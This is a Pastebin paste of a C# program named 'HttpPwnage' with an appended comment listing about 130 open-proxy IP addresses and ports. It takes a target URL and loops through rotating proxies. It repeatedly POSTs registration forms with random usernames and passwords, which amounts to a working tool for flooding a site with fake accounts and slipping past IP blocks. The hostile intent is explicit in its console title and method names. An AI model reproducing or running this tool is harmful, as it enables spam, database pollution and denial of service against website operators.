Advertisement
Guest User

Untitled

a guest
Sep 29th, 2017
1,149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 11.11 KB | None | 0 0
  1. //BaussHacker -  HF
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Net;
  7. using System.IO;
  8. using System.Threading;
  9.  
  10. namespace HttpPwnage
  11. {
  12.     public class Proxy
  13.     {
  14.         public string ProxyUrl;
  15.         public bool Used = false;
  16.         public bool InUse = false;
  17.     }
  18.     class Program
  19.     {
  20.         static List<Proxy> Proxies = new List<Proxy>();
  21.         static WebRequest req;
  22.         static void Main(string[] args)
  23.         {
  24.             Console.Title = "Fuck Em' Up";
  25.             Console.ForegroundColor = ConsoleColor.Blue;
  26.             Console.Write("URL: "); Console.ForegroundColor = ConsoleColor.Magenta;
  27.             req = HttpWebRequest.Create(Console.ReadLine());
  28.             Console.ForegroundColor = ConsoleColor.Blue;
  29.             #region Load Proxies
  30.             if (!File.Exists("proxylist.txt"))
  31.             {
  32.                 Console.Write("Proxylist: "); Console.ForegroundColor = ConsoleColor.Magenta;
  33.                 foreach (string s in File.ReadAllText(Console.ReadLine()).Split('\n'))
  34.                 {
  35.                     if (s.Length > 0)
  36.                     {
  37.                         Proxy p = new Proxy()
  38.                         {
  39.                             ProxyUrl = s,
  40.                             Used = false
  41.                         };
  42.                         Proxies.Add(p);
  43.                     }
  44.                 }
  45.             }
  46.             else
  47.             {
  48.                 foreach (string s in File.ReadAllText("proxylist.txt").Split('\n'))
  49.                 {
  50.                     if (s.Length > 0)
  51.                     {
  52.                         Proxy p = new Proxy()
  53.                         {
  54.                             ProxyUrl = s,
  55.                             Used = false
  56.                         };
  57.                         Proxies.Add(p);
  58.                     }
  59.                 }
  60.             }
  61.             #endregion
  62.             Threading thread2 = new Threading();
  63.             thread2.Event += new Action(ProxyCheck);
  64.             thread2.Start(1000);
  65.         hehe:
  66.             Console.ForegroundColor = ConsoleColor.Blue;
  67.             Console.Write("Save default proxy settings? (Y/N):"); Console.ForegroundColor = ConsoleColor.Magenta;
  68.             switch (Console.ReadLine())
  69.             {
  70.                 #region Y
  71.                 case "Y":
  72.                     {
  73.                         SaveProxies();
  74.                         Boom();
  75.                         break;
  76.                     }
  77.                 #endregion
  78.  
  79.                 #region N
  80.                 case "N":
  81.                     {
  82.                         try
  83.                         {
  84.                             File.Delete("proxylist.proxy");
  85.                         }
  86.                         catch { }
  87.                         Boom();
  88.                         break;
  89.                     }
  90.                 #endregion
  91.  
  92.                 default:
  93.                     goto hehe;
  94.             }
  95.         }
  96.         static void SaveProxies()
  97.         {
  98.             #region Save
  99.             FileStream fs;
  100.             try
  101.             {
  102.                 fs = new FileStream("proxylist.txt", FileMode.CreateNew);
  103.             }
  104.             catch
  105.             {
  106.                 fs = new FileStream("proxylist.txt", FileMode.Truncate);
  107.             }
  108.             StreamWriter sw = new StreamWriter(fs);
  109.             foreach (Proxy s in Proxies)
  110.             {
  111.                 sw.WriteLine(s.ProxyUrl);
  112.             }
  113.             sw.Close();
  114.             fs.Close();
  115.             #endregion
  116.         }
  117.         static void Boom()
  118.         {
  119.             Threading thread = new Threading();
  120.             thread.Event += new Action(BoomHeadshot);
  121.             thread.Start(100);
  122.         }
  123.         static void ProxyCheck()
  124.         {
  125.             int i = 0;
  126.             foreach (Proxy p in Proxies)
  127.                 if (!p.InUse)
  128.                     i++;
  129.  
  130.             Console.Title = "Fuck Em' Up - Current Available Proxies: " + i;
  131.         }
  132.         static int inuse = 0;
  133.         static void BoomHeadshot()
  134.         {
  135.             if (inuse > 10)
  136.                 return;
  137.  
  138.             foreach (Proxy proxy in Proxies)
  139.             {
  140.                 if (!proxy.InUse)
  141.                 {
  142.                     Console.ForegroundColor = ConsoleColor.Yellow;
  143.                     Console.WriteLine("Connecting to the current proxy: " + proxy.ProxyUrl);
  144.                     try
  145.                     {
  146.                         proxy.InUse = true;
  147.                         proxy.Used = false;
  148.                         inuse++;
  149.                         req.Proxy = new WebProxy(proxy.ProxyUrl);
  150.  
  151.                         Console.ForegroundColor = ConsoleColor.Green;
  152.                         Console.WriteLine("Connected to: " + proxy.ProxyUrl);
  153.                         while (!proxy.Used)
  154.                         {
  155.                             #region Success Proxy
  156.                             try
  157.                             {
  158.                                 FuckShitUp();
  159.                             }
  160.                             #endregion
  161.                             #region Failed Proxy
  162.                             catch
  163.                             {
  164.                                 Console.ForegroundColor = ConsoleColor.Red;
  165.                                 proxy.Used = true;
  166.                                 Console.WriteLine(proxy.ProxyUrl + " has stopped working, switching proxy...");
  167.                             }
  168.                             #endregion
  169.                         }
  170.                     }
  171.                     catch
  172.                     {
  173.                         Console.WriteLine("Could not connect to: " + proxy.ProxyUrl);
  174.                     }
  175.                     inuse--;
  176.                     proxy.InUse = false;
  177.                 }
  178.             }
  179.         }
  180.         static void FuckShitUp()
  181.         {
  182.             req.Method = "POST";
  183.             req.ContentType = "application/x-www-form-urlencoded";
  184.             #region data
  185.             RandomString str = new RandomString();
  186.             string username = str.GenerateRandomString(7);
  187.             RandomString str2 = new RandomString();
  188.             string password = str2.GenerateRandomString(8);
  189.             string mail = "heheheheh@hotmail.com";
  190.             string question = "ohmygod??";
  191.             string answer = "notyourproblem";
  192.             #endregion
  193.             string postData =
  194.                 "user=" + username +
  195.                 "&password=" + password +
  196.                 "&password2=" + password +
  197.                 "&mail=" + mail +
  198.                 "&question=" + question +
  199.                 "&answer=" + answer;
  200.  
  201.             req.ContentLength = postData.Length;
  202.  
  203.             StreamWriter strw= new
  204.             StreamWriter(req.GetRequestStream(),
  205.             System.Text.Encoding.ASCII);
  206.             strw.Write(postData);
  207.             strw.Close();
  208.         }
  209.     }
  210.     public class RandomString
  211.     {
  212.         public string GenerateRandomString(int length)
  213.         {
  214.             Random r = new Random();
  215.             string ret = "";
  216.             for (int i = 0; i < length; i++)
  217.             {
  218.                 byte val = (byte)r.Next(65, 122);
  219.  
  220.                 if (val > 96 || val < 91)
  221.                     ret += Encoding.ASCII.GetString(new byte[] { val });
  222.                 else
  223.                     i--;
  224.             }
  225.  
  226.             return ret;
  227.         }
  228.     }
  229.     public class Threading
  230.     {
  231.         public event Action Event;
  232.         Thread T;
  233.         DateTime DT;
  234.         uint interval;
  235.         public void Start(uint Interval)
  236.         {
  237.             interval = Interval;
  238.             T = new Thread(new ThreadStart(Run));
  239.             T.Start();
  240.         }
  241.         private bool closed = false;
  242.         public bool Close
  243.         {
  244.             get
  245.             {
  246.                 return closed;
  247.             }
  248.             set
  249.             {
  250.                 closed = value;
  251.  
  252.                 if (closed)
  253.                 {
  254.                     T.Join();
  255.                     T.Abort();
  256.                 }
  257.             }
  258.         }
  259.         void Run()
  260.         {
  261.             while (!closed)
  262.             {
  263.  
  264.                 if (DateTime.Now > DT.AddMilliseconds(interval))
  265.                 {
  266.                     DT = DateTime.Now;
  267.                     try
  268.                     {
  269.                         Event.Invoke();
  270.                     }
  271.                     catch { }
  272.                 }
  273.                 Thread.Sleep(1);
  274.             }
  275.         }
  276.     }
  277. }
  278.  
  279. //PROXY LIST
  280. /*123.131.165.154:3128
  281. 201.65.237.68:3128
  282. 77.92.131.118:8080
  283. 124.248.34.51:3128
  284. 190.121.129.179:80
  285. 186.42.212.237:3128
  286. 64.34.102.194:443
  287. 200.63.71.75:8080
  288. 93.189.5.138:8080
  289. 87.226.106.203:8080
  290. 118.174.37.174:8080
  291. 202.143.158.50:8080
  292. 115.236.98.109:80
  293. 200.42.56.146:8080
  294. 195.210.3.78:8000
  295. 98.140.210.54:8085
  296. 88.220.37.150:8080
  297. 189.10.142.19:80
  298. 200.89.112.42:3128
  299. 201.48.250.233:3128
  300. 41.73.18.49:8080
  301. 189.22.158.130:3128
  302. 121.14.133.169:3128
  303. 193.140.7.10:3128
  304. 60.250.20.104:3128
  305. 202.152.6.169:3128
  306. 109.235.49.143:80
  307. 189.77.108.62:3128
  308. 143.107.79.203:8080
  309. 122.72.12.86:80
  310. 200.96.185.228:80
  311. 82.160.44.55:8080
  312. 41.35.48.210:8080
  313. 117.67.43.37:8909
  314. 58.44.215.80:8909
  315. 222.42.45.51:3128
  316. 203.189.89.153:8080
  317. 124.235.185.63:8909
  318. 112.1.133.3:8909
  319. 59.36.23.252:8909
  320. 118.98.232.132:8080
  321. 112.2.52.18:1337
  322. 221.137.103.81:8909
  323. 124.235.185.63:8909
  324. 118.98.31.5:80
  325. 123.242.167.8:3128
  326. 59.90.104.90:3128
  327. 180.243.94.244:3128
  328. 222.209.210.106:1337
  329. 123.115.129.26:8909
  330. 202.138.236.220:8080
  331. 124.78.35.161:8909
  332. 203.116.44.27:808
  333. 113.96.88.215:8909
  334. 222.60.8.66:8080
  335. 114.228.213.233:8909
  336. 196.201.211.145:80
  337. 93.91.201.82:8080
  338. 221.196.220.244:8909
  339. 117.42.108.200:8909
  340. 113.128.1.122:8909
  341. 113.138.229.83:8909
  342. 222.124.207.26:8080
  343. 61.149.25.99:8909
  344. 110.137.127.128:808
  345. 122.68.50.214:8909
  346. 60.220.115.70:8909
  347. 91.120.21.169:8888
  348. 114.246.27.184:8909
  349. 113.111.165.200:8909
  350. 220.225.200.155:80
  351. 190.101.118.163:3128
  352. 123.116.17.181:8909
  353. 203.116.44.29:1081
  354. 210.243.157.250:3128
  355. 178.213.33.129:110
  356. 190.223.230.59:3128
  357. 189.108.29.186:3126
  358. 222.134.33.146:8080
  359. 118.175.74.56:3128
  360. 117.87.248.64:8909
  361. 196.219.126.178:8080
  362. 119.183.24.226:8909
  363. 117.8.70.73:8909
  364. 220.234.127.90:8909
  365. 41.234.204.125:8080
  366. 119.50.99.10:8909
  367. 124.14.10.103:80
  368. 190.37.127.117:3128
  369. 114.111.8.23:8909
  370. 123.139.255.127:8909
  371. 221.223.52.158:8909
  372. 221.7.145.42:8080
  373. 114.104.70.188:8909
  374. 78.188.153.229:8080
  375. 220.243.101.32:8909
  376. 189.22.167.202:3128
  377. 118.96.30.22:80
  378. 222.130.172.178:8909
  379. 180.246.178.5:8080
  380. 202.143.155.132:3128
  381. 222.130.252.142:8909
  382. 203.116.44.24:8080
  383. 67.44.130.33:87
  384. 203.116.44.24:203
  385. 125.165.186.84:3128
  386. 200.243.38.60:3128
  387. 123.246.160.129:8909
  388. 123.117.172.192:8909
  389. 202.152.4.27:80 3.2180
  390. 186.225.44.69:8080
  391. 188.142.129.65:8080
  392. 91.194.247.230:8080
  393. 80.78.130.198:80
  394. 122.94.144.203:8909
  395. 200.63.71.54:8080
  396. 120.4.17.99:8909
  397. 187.33.69.50:3128
  398. 217.8.95.242:3128
  399. 186.115.130.44:3127
  400. 221.204.246.161:80
  401. 61.167.49.188:8080
  402. 97.81.243.63:8080
  403. 46.17.96.239:3128
  404. 116.90.162.148:8888
  405. 205.185.121.182:8888
  406. 180.248.156.210:3128
  407. 118.96.30.3:8080
  408. 219.223.252.34:8080
  409. 187.33.69.50:80
  410. 201.219.17.29:8080
  411. 88.85.125.78:8080
  412. 186.3.41.21:3128*/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement